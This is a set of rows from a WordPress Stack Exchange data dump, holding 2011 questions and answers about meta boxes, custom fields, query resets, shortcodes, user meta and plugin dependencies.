  <row Id="18326" PostTypeId="2" ParentId="18321" CreationDate="2011-05-26T14:22:57.673" Score="2" ViewCount="" Body="&lt;p&gt;Custom filed is a post meta field&#xA;meta box is used to  group a section in the new/edit post/page screen which are by default:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Comments status metabox.&lt;/li&gt;&#xA;&lt;li&gt;Comments metabox.&lt;/li&gt;&#xA;&lt;li&gt;Slug metabox.&lt;/li&gt;&#xA;&lt;li&gt;Revisions metabox.&lt;/li&gt;&#xA;&lt;li&gt;Author metabox.&lt;/li&gt;&#xA;&lt;li&gt;Custom fields metabox.&lt;/li&gt;&#xA;&lt;li&gt;Excerpt metabox.&lt;/li&gt;&#xA;&lt;li&gt;Trackbacks metabox.&lt;/li&gt;&#xA;&lt;li&gt;Featured image metabox.&lt;/li&gt;&#xA;&lt;li&gt;Formats metabox.&lt;/li&gt;&#xA;&lt;li&gt;Tags metabox.&lt;/li&gt;&#xA;&lt;li&gt;Categories metabox.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now a custom metabox usually is a grouping of custom fields for example when using an SEO plugin you see a new metabox with fields like title, description, keywords...(most of them anyway), and that is exactly a custom metabox which uses custom fields (post meta) to store the data the user inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so usually there is no difference between the fields and its easier to just add a custom fields but its not very user friendly as a custom metabox.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-26T14:22:57.673" />
  <row Id="18327" PostTypeId="2" ParentId="18321" CreationDate="2011-05-26T14:26:38.517" Score="2" ViewCount="" Body="&lt;p&gt;They are just different things:&#xA;1) add_meta_box -&gt; it just help you to add an interface, a meta box as the function name which help you to display forms, inputs, different data&#xA;2) custom field -&gt; this is a custom value assigned to a given post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should just use booth, use the add_meta_box to add the interface and hold all submitted information into the custom fields&lt;/p&gt;&#xA;" OwnerUserId="5708" LastActivityDate="2011-05-26T14:26:38.517" CommentCount="1" />
  <row Id="18328" PostTypeId="2" ParentId="18315" CreationDate="2011-05-26T14:31:12.513" Score="0" ViewCount="" Body="&lt;p&gt;You just need to make sure the custom post type it's hierarchical.&#xA;So within your register_post_type function, make sure there's an argument 'hierarchical' =&gt; TRUE&lt;/p&gt;&#xA;" OwnerUserId="5708" LastActivityDate="2011-05-26T14:31:12.513" CommentCount="1" />
  <row Id="18329" PostTypeId="2" ParentId="18318" CreationDate="2011-05-26T14:33:48.253" Score="1" ViewCount="" Body="&lt;p&gt;get_post_custom($post-&gt;ID) is what you need&lt;/p&gt;&#xA;" OwnerUserId="5708" LastActivityDate="2011-05-26T14:33:48.253" />
  <row Id="18330" PostTypeId="1" AcceptedAnswerId="18332" CreationDate="2011-05-26T14:40:36.697" Score="2" ViewCount="43" Body="&lt;p&gt;Is there any free (or cheap) software that can be used for testing WordPress functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to create some test scripts and then them against my self-hosted WordPress installation.&lt;/p&gt;&#xA;" OwnerUserId="739" LastActivityDate="2011-05-26T14:59:39.823" Title="Is there any free (or cheap) software that can be used for testing WordPress functionality?" Tags="&lt;automate&gt;&lt;scripts&gt;&lt;testing&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18331" PostTypeId="1" AcceptedAnswerId="18336" CreationDate="2011-05-26T14:49:35.477" Score="2" ViewCount="82" Body="&lt;p&gt;The function below is called from my index.php just below the main content block. Its purpose is to write out a link list of the latest posts. However, I need to reset the post object once this function has completed (or the sidebar query that follows thinks that the current post is the last post that gets executed by this function.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I reset the post back to the current post of the page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried adding  wp_reset_query() at the end of the function, but its not producing the results I want (produces multiple posts in the content area). Any help much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myFunction(){&#xA;    $catHidden=get_cat_ID('hidden');&#xA;    $myquery = new WP_Query();&#xA;    $myquery-&amp;gt;query(array('cat' =&amp;gt; &quot;-$catHidden&quot;,'post__not_in' =&amp;gt; get_option('sticky_posts')));&#xA;    $myrecentpostscount = $myquery-&amp;gt;found_posts;&#xA;    if ($myrecentpostscount &amp;gt; 0){ ?&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;h4&amp;gt;Menu Title&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;            &amp;lt;?php &#xA;            global $post;&#xA;            $myrecentposts = get_posts(array('post__not_in' =&amp;gt; get_option('sticky_posts'), 'cat' =&amp;gt; &quot;-$catHidden&quot;,'numberposts' =&amp;gt; get_option('latest_count')));&#xA;            foreach($myrecentposts as  $idxrecent=&amp;gt;$post) { ?&amp;gt;&#xA;                &amp;lt;li class=&quot;page_item&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php if(has_post_thumbnail() &amp;amp;&amp;amp; get_option('show_thumbs')) the_post_thumbnail('thumbnail', array('class' =&amp;gt; 'alignleft', 'style' =&amp;gt; 'margin:0 10px 0 0;')); ?&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;?php  &#xA;                        if(has_post_thumbnail() &amp;amp;&amp;amp; get_option('show_thumbs')) echo '&amp;lt;div style=&quot;clear:both&quot;&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;';?&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            &amp;lt;?php } &#xA;    echo &quot;&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&quot;;}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-05-26T15:27:19.150" LastActivityDate="2011-05-26T15:27:19.150" Title="How to effectively reset the post object after calling get_posts()" Tags="&lt;theme-development&gt;" AnswerCount="2" />
  <row Id="18332" PostTypeId="2" ParentId="18330" CreationDate="2011-05-26T14:59:39.823" Score="3" ViewCount="" Body="&lt;p&gt;This isn't really a WordPress question - more a generic web development issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are some open source tools that can be used for scripting and testing a web browser session.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://seleniumhq.org/&quot; rel=&quot;nofollow&quot;&gt;Selenium&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cukes.info/&quot; rel=&quot;nofollow&quot;&gt;Cucumber&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.watir.com&quot; rel=&quot;nofollow&quot;&gt;Watir&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-26T14:59:39.823" />
  <row Id="18333" PostTypeId="2" ParentId="13578" CreationDate="2011-05-26T15:01:29.947" Score="0" ViewCount="" Body="&lt;p&gt;WPCandy &lt;a href=&quot;http://wpcandy.com/announces/the-launch-of-wpcandy-pros&quot; rel=&quot;nofollow&quot;&gt;just opened&lt;/a&gt; a new site where WordPress professionals can list themselves: &lt;a href=&quot;http://wpcandy.com/pros&quot; rel=&quot;nofollow&quot;&gt;WPCandy Pros&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-26T15:01:29.947" />
  <row Id="18334" PostTypeId="2" ParentId="18320" CreationDate="2011-05-26T15:01:45.893" Score="1" ViewCount="" Body="&lt;p&gt;Are you going to put newlines in there between each image? or just spaces?&#xA;I'll put in both for this example, checking if there's a newline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would want something like this in your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('my_gallery', 'gallery_function');&#xA;function gallery_function($atts, $code=''){&#xA;   $files=preg_split( '/\s+/', $code ); // Added in from Jan's comment.&#xA;&#xA;   foreach($files as $img){&#xA;      if($img==&quot;&quot;)&#xA;          continue; // ensures that no empty items from the split have entered in, since that is possible with the preg_split&#xA;      //handle each filename in here.&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not perfect.. if you use both spaces and newlines in your shortcode, it'll mess things up - though that could be dealt with in more detail inside the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="5709" LastEditorUserId="5709" LastEditorDisplayName="" LastEditDate="2011-05-26T16:38:43.643" LastActivityDate="2011-05-26T16:38:43.643" CommentCount="6" />
  <row Id="18335" PostTypeId="2" ParentId="18281" CreationDate="2011-05-26T15:06:25.350" Score="0" ViewCount="" Body="&lt;p&gt;You haven't been too descriptive but if you mean that you would be able to edit a variable in the Post &gt; Edit screen then you should really be using &lt;a href=&quot;http://codex.wordpress.org/Custom_Fields&quot; rel=&quot;nofollow&quot;&gt;Custom Fields&lt;/a&gt;. These variables would be stored / retrieved as post meta-data.&lt;/p&gt;&#xA;" OwnerUserId="4675" LastActivityDate="2011-05-26T15:06:25.350" />
  <row Id="18336" PostTypeId="2" ParentId="18331" CreationDate="2011-05-26T15:09:13.960" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;wp_reset_query()&lt;/code&gt; will reset the query to the original query WordPress did on this page. So if you somewhere called &lt;code&gt;query_posts()&lt;/code&gt;, it will not reset back to that query, but to the &quot;main&quot; query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably want to use &lt;code&gt;wp_reset_postdata()&lt;/code&gt;, which resets the &lt;code&gt;$post&lt;/code&gt; variable to the current post in &lt;code&gt;$wp_query&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best thing is to not overwrite the global &lt;code&gt;$post&lt;/code&gt; variable in your function. All WordPress functions have variants that accept a post object, so there should be no need to use the global variable there.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-26T15:09:13.960" CommentCount="1" />
  <row Id="18337" PostTypeId="1" AcceptedAnswerId="18339" CreationDate="2011-05-26T15:20:09.097" Score="2" ViewCount="126" Body="&lt;p&gt;I'm wondering if it's possible in the single.php template to use the width of the post's featured image elsewhere in the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is add a div element on the page with the same width as the post's featured image (which will always be a different width).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any ideas, let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5710" LastActivityDate="2011-05-26T15:27:56.587" Title="How to get featured image's width and use elsewhere in template?" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="18338" PostTypeId="2" ParentId="18331" CreationDate="2011-05-26T15:22:41.857" Score="2" ViewCount="" Body="&lt;p&gt;I think the problem here may have to do with the uses of including the global $post statement, as well as using get_posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you're essentially calling for the posts twice, one with the new WP_Query (just to check the count of the posts returned), and the second time using get_posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the first time you check it, it has returned the posts under that main variable&#xA;$myquery-&gt;posts; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you also don't want to use found_posts, as that doesn't appear to return the right number. use $myquery-&gt;post_count instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;once you get rid of the global $post, and the get_posts, change over the found_posts variable - you won't have any more polution of data. i've used this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts=new WP_Query(//array details);&#xA;if($posts-&amp;gt;have_posts()) : &#xA;    while($posts-&amp;gt;have_posts()) : $posts-&amp;gt;the_post();&#xA;    $thispost=$posts-&amp;gt;post;&#xA;&#xA;        // do stuff with the post, if you need things like the_permalink, use get_permalink($thispost-&amp;gt;ID) instead.&#xA;    endwhile;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it didn't ruin my data at all. though it's a tiny bit more of a hassle since you can't use the regular the_title, the_content, etc.. but you can use the get ones based on the id's anyway - and if you need those specific filters for the regulars, you can always make use of them on the pulled content by applying them as well.&lt;/p&gt;&#xA;" OwnerUserId="5709" LastActivityDate="2011-05-26T15:22:41.857" CommentCount="1" />
  <row Id="18339" PostTypeId="2" ParentId="18337" CreationDate="2011-05-26T15:27:56.587" Score="3" ViewCount="" Body="&lt;p&gt;Try the following. First, add this piece of code to the template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php $image_data = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), &quot;thumbnail&quot; ); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$image_data will now return an array containing the url, width, and height (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_attachment_image_src&quot; rel=&quot;nofollow&quot;&gt;function reference&lt;/a&gt;). To get the width, you might do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php $image_width = $image_data[1]; ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your specific example, after adding the two pieces of code above to your template, you might do this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div style=&quot;width:&amp;lt;?php echo $image_width; ?&amp;gt;&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that helpful?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2011-05-26T15:27:56.587" CommentCount="2" />
  <row Id="18340" PostTypeId="2" ParentId="18321" CreationDate="2011-05-26T15:28:02.973" Score="1" ViewCount="" Body="&lt;p&gt;A meta box is an element in the graphical user interface, a custom field is an extra key and value stored with a post. Most of the time the interface to change the value of a custom field is put in an extra meta box - or in the default meta box for custom fields, which you can enable per post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe a picture can help explain this. I have a post with two custom fields: &lt;code&gt;my_custom_field&lt;/code&gt; and &lt;code&gt;_thumbnail_id&lt;/code&gt;. In the database they are stored in the &lt;code&gt;wp_postmeta&lt;/code&gt; table:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/WolYK.png&quot; alt=&quot;Database rows showing custom field data&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in the post interface they can be edited in different places. The &lt;code&gt;_thumbnail_id&lt;/code&gt; is displayed in the &lt;em&gt;Featured Image&lt;/em&gt; meta box and can be edited with the image browser because it is hard to know the attachment ID. The other value can just be edited via the &quot;generic&quot; &lt;em&gt;Custom Fields&lt;/em&gt; meta box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/lBD9e.png&quot; alt=&quot;Custom Fields and Featured Image meta boxes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will depend on the values you need to enter in your plugin and the experience of your users whether the &lt;em&gt;Custom Fields&lt;/em&gt; meta box is enough, otherwise it will be more user-friendly to add a separate meta box.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-26T15:28:02.973" CommentCount="1" />
  <row Id="18342" PostTypeId="2" ParentId="17639" CreationDate="2011-05-26T15:48:46.537" Score="0" ViewCount="" Body="&lt;p&gt;There's a function on the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/strip_shortcodes&quot; rel=&quot;nofollow&quot;&gt;Codex page for strip_shortcodes&lt;/a&gt; that does what you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_shortcode_from_index($content) {&#xA;  if ( is_home() ) {&#xA;    $content = strip_shortcodes( $content );&#xA;  }&#xA;  return $content;&#xA;}&#xA;add_filter('the_content', 'remove_shortcode_from_index');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your case, you would apply it to your archives page or wherever else you want.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-05-26T15:48:46.537" CommentCount="1" />
  <row Id="18343" PostTypeId="1" AcceptedAnswerId="18351" CreationDate="2011-05-26T16:02:12.663" Score="1" ViewCount="122" Body="&lt;p&gt;How do I create a new usermeta field with a drop down selection values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im want to create a conditional statement for all users with a certain value of the new custom field I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new field would be: Approved&#xA;The drop down values are: Yes and No&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The conditional statement will recognize all users with the Approved field value of Yes. Then it will post a code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im working with the wp_get_current_user function(), which does exactly what I need, but I just need a new custom usermeta field. In the example the new usermeta field would be &quot;artwork_approved.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_current_user();&#xA;if ($current_user-&amp;gt;artwork_approved == 'Yes'){&#xA;    echo 'Thank you for approving your artwork!';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There seems to be no plugin for this and I &lt;em&gt;really&lt;/em&gt; need this feature. I would really appreciate some advice on creating a new usermeta with drop down options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot! &lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-05-26T16:59:44.443" Title="Create a new usermeta field for users" Tags="&lt;php&gt;&lt;conditional-content&gt;&lt;usermeta&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="18344" PostTypeId="2" ParentId="17639" CreationDate="2011-05-26T16:03:43.007" Score="0" ViewCount="" Body="&lt;p&gt;I did some digging and tried to re-create this scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only answer I can come up with that might help you is that your JWPlayer shortcode is added to the shortcodes list in a filter on the_content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;strip_shortcodes only works when a shortcode is previously added to the shortcode list.. so my suspicion is that the JWPlayer shortcode is not added when you call that, but added in the filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two ways to go about solving this problem.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;add your own shortcode with the same name before you do strip_shortcodes to the list, adding the capability for the strip_shortcodes to remove it, however that will remove your JWPlayer from ALL exceprts (may or may not be what you want)&lt;/li&gt;&#xA;&lt;li&gt;Modify the JWPlayer location of where it adds the shortcode so that it is available before the_content filter gets called. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Edit Note for #1: After you do the strip_shortcodes, I would remove the shortcode you added, just incase the JWPlayer needs to be called somewhere else (outside of an excerpt) on the same page, it might conflict having two shortcodes added, depending on load order. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution for #1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function nullfunc(){&#xA;  return '';&#xA;}&#xA;// put that function outside, it's the placeholder function just so the shortcode registers properly, if the callback isn't a valid function - it won't register.&#xA;&#xA;// do your get_the_content() here&#xA;add_shortcode('&amp;lt;replace_with_shortcode_for_JWPlayer','nullfunc');&#xA;// do your strip shortcodes here&#xA;remove_shortcode('&amp;lt;rplace_with_shortcode_for_JWPlayer');&#xA;&#xA;// continue on with the rest of your code.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are just based on what I could recreate myself, and I'm not 100% sure they will help you, though I can't think of any other reason why strip_shortcodes would fail, and this is the only scenario that makes sense to me.&lt;/p&gt;&#xA;" OwnerUserId="5709" LastEditorUserId="5709" LastEditorDisplayName="" LastEditDate="2011-05-30T04:05:00.100" LastActivityDate="2011-05-30T04:05:00.100" CommentCount="2" />
  <row Id="18345" PostTypeId="2" ParentId="18151" CreationDate="2011-05-26T16:04:10.320" Score="1" ViewCount="" Body="&lt;p&gt;This is possible, but it will require playing with the rewrite rules. Install my &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;Rewrite analyzer&lt;/a&gt;, you will need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16902/permalink-rewrite-404-conflict-wordpress-taxonomies-cpt/16929#16929&quot;&gt;answered a very similar question&lt;/a&gt;, but the main difference was that where you have &lt;code&gt;/projects/&lt;/code&gt; as a &quot;clean&quot; custom post type archive, the other user had it as a page, which is much easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to create subpages of &lt;code&gt;/projects/&lt;/code&gt; you will have to create a page with the slug &lt;code&gt;projects&lt;/code&gt;. Then you have two options: the easy one is to use a page template for this &lt;code&gt;/projects/&lt;/code&gt; page that just queries for your custom post type, like we used to do before WP 3.1 arrived with native support for custom post type archives. The other option is to filter the verbose page rules and throw out everything related to the &lt;code&gt;/projects/&lt;/code&gt; page, so that only the &lt;code&gt;/projects/&lt;/code&gt; rules for the custom post type archive remain.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-26T16:04:10.320" CommentCount="3" />
  <row Id="18346" PostTypeId="1" AcceptedAnswerId="18348" CreationDate="2011-05-26T16:18:14.527" Score="1" ViewCount="86" Body="&lt;p&gt;ok so i have a nav menu with the top level of menu items being static pages. When you highlight or visit one of them there is a sub-menu that pops up. Each one of them has there own sub-menu and each sub-menu is full of custom taxonomy terms. Since WordPress will only give the current-menu-item class on an archive page i need to either add my own class or just add some custom css to show and highlight the term parent when viewing a single item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is I had the code working but then it quit working. See the code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;? &#xA;$has_news = has_term('news');&#xA;if ($has_news)&#xA;    echo '&amp;lt;style type=text/css&amp;gt;#navbar{display:block}';&#xA;else&#xA;    echo '';&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This is related to one of my other questions but I figured it would best be suite under its own with different tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Related Question:&lt;/em&gt;&lt;/strong&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/questions/17535/highlight-nav-menu-terms&quot;&gt;Highlight nav menu terms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;wpversion: 3.1.2&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-26T16:39:20.680" LastActivityDate="2011-05-26T16:39:20.680" Title="has_term if/echo else/echo function" Tags="&lt;custom-taxonomy&gt;&lt;custom-menus&gt;&lt;has-term&gt;" AnswerCount="1" />
  <row Id="18347" PostTypeId="2" ParentId="18311" CreationDate="2011-05-26T16:23:02.530" Score="1" ViewCount="" Body="&lt;p&gt;This is probably a cache issue. Someone &quot;liked&quot; the page before your WordPress installation was done, Facebook visited the site, copied the WordPress installation page, and cached the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible that by using the &lt;a href=&quot;http://developers.facebook.com/tools/lint/&quot; rel=&quot;nofollow&quot;&gt;URL Linter&lt;/a&gt; you can refresh the cache.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-26T16:23:02.530" CommentCount="3" />
  <row Id="18348" PostTypeId="2" ParentId="18346" CreationDate="2011-05-26T16:25:31.307" Score="1" ViewCount="" Body="&lt;p&gt;Problem is that you'd need to pass a &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; in order to not &lt;code&gt;return false.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Better use &lt;code&gt;is_object_in_taxonomy($object_type, $taxonomy)&lt;/code&gt; and fill both the term and the tax in the function. It returns &lt;code&gt;(boolean)&lt;/code&gt;, so simply add your class based on the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $class = is_object_in_taxonomy( 'news', 'your_taxonomy' ) ? 'current-whatever' : '';&#xA;&#xA;// or: (simplified for readabilities sake:&#xA;&#xA;// set empty and override only in case.&#xA;// So you avoid dropping errors if the condition was not met and $current not set.&#xA;$class = '';&#xA;if ( is_object_in_taxonomy( 'news', 'your_taxonomy' ) )&#xA;    echo $class = 'current-whatever';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-26T16:35:58.870" LastActivityDate="2011-05-26T16:35:58.870" CommentCount="4" />
  <row Id="18349" PostTypeId="1" CreationDate="2011-05-26T16:41:48.480" Score="0" ViewCount="38" Body="&lt;p&gt;If I use the URL &quot;/tag/tag1,tag2/feed&quot;, it will retrieve posts that have both tags. Is there anyway to do this and just get posts that have BOTH tag1 and tag2?&lt;/p&gt;&#xA;" OwnerUserId="5267" LastActivityDate="2011-05-26T18:44:38.500" Title="Anyway to retrieve a feed of posts that have BOTH tags?" Tags="&lt;tags&gt;&lt;feed&gt;" AnswerCount="2" />
  <row Id="18350" PostTypeId="2" ParentId="18349" CreationDate="2011-05-26T16:58:50.187" Score="0" ViewCount="" Body="&lt;p&gt;Im not to sure if you can or can not do this. I usually just merge the two with Yahoo pipes since i use feedburner for most of my feeds check it out &lt;a href=&quot;http://pipes.yahoo.com/pipes/&quot; rel=&quot;nofollow&quot;&gt;http://pipes.yahoo.com/pipes/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-26T16:58:50.187" />
  <row Id="18351" PostTypeId="2" ParentId="18343" CreationDate="2011-05-26T16:59:44.443" Score="2" ViewCount="" Body="&lt;p&gt;You need to hook &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/edit_user_profile&quot; rel=&quot;nofollow&quot;&gt;edit_user_profile&lt;/a&gt; to add your custom inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you need to hook the &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/profile_update&quot; rel=&quot;nofollow&quot;&gt;profile_update&lt;/a&gt; action and use the function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_user_meta&quot; rel=&quot;nofollow&quot;&gt;add_user_meta&lt;/a&gt; to add the metadata&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-26T16:59:44.443" CommentCount="2" />
  <row Id="18352" PostTypeId="2" ParentId="17162" CreationDate="2011-05-26T17:30:57.453" Score="1" ViewCount="" Body="&lt;p&gt;No matter what, your constructor of bar will always run before the action is called in your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran into this scenario a while back, and you're mostly there for how I did it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply put - comment out everything inside this_plugin_last function, and put your $bar = new bar(); inside there. and just do all of the logic and whatnot that you needed to in that function as well. this ensures that foo will be loaded before you run your code (the plugin itself doesn't necessarily need to be loaded before hand, just what you use that relies on foo).&lt;/p&gt;&#xA;" OwnerUserId="5709" LastActivityDate="2011-05-26T17:30:57.453" CommentCount="1" />
  <row Id="18353" PostTypeId="2" ParentId="18311" CreationDate="2011-05-26T17:35:39.510" Score="0" ViewCount="" Body="&lt;p&gt;Facebook will update the cache in 24hours. You can use the &lt;a href=&quot;http://developers.facebook.com/tools/lint/&quot; rel=&quot;nofollow&quot;&gt;lint tool&lt;/a&gt; like Jan said and may be my plugin can help you in choosing thumbnails - &lt;a href=&quot;http://wordpress.org/extend/plugins/facebook-like-thumbnail/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/facebook-like-thumbnail/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-05-26T17:35:39.510" CommentCount="2" />
  <row Id="18354" PostTypeId="1" CreationDate="2011-05-26T17:41:56.967" Score="2" ViewCount="53" Body="&lt;p&gt;I am inheriting a Wordpress site where the page names in URLs are very descriptive things like page_id=81. Is this something that I can change globally or do a simple search and replace on?&lt;/p&gt;&#xA;" OwnerUserId="5714" LastActivityDate="2011-05-26T21:28:17.423" Title="Change names of pages in wordpress" Tags="&lt;pages&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="18355" PostTypeId="2" ParentId="17162" CreationDate="2011-05-26T17:45:39.477" Score="1" ViewCount="" Body="&lt;p&gt;Add the following at the top of the dependent plugin code, below the plugin name, description, etc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once( WP_PLUGIN_DIR . '/foo/foo.php' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;foo&quot; plugin won't even need to be activated for &quot;bar&quot; to find the code.&lt;/p&gt;&#xA;" OwnerUserId="750" LastActivityDate="2011-05-26T17:45:39.477" CommentCount="4" />
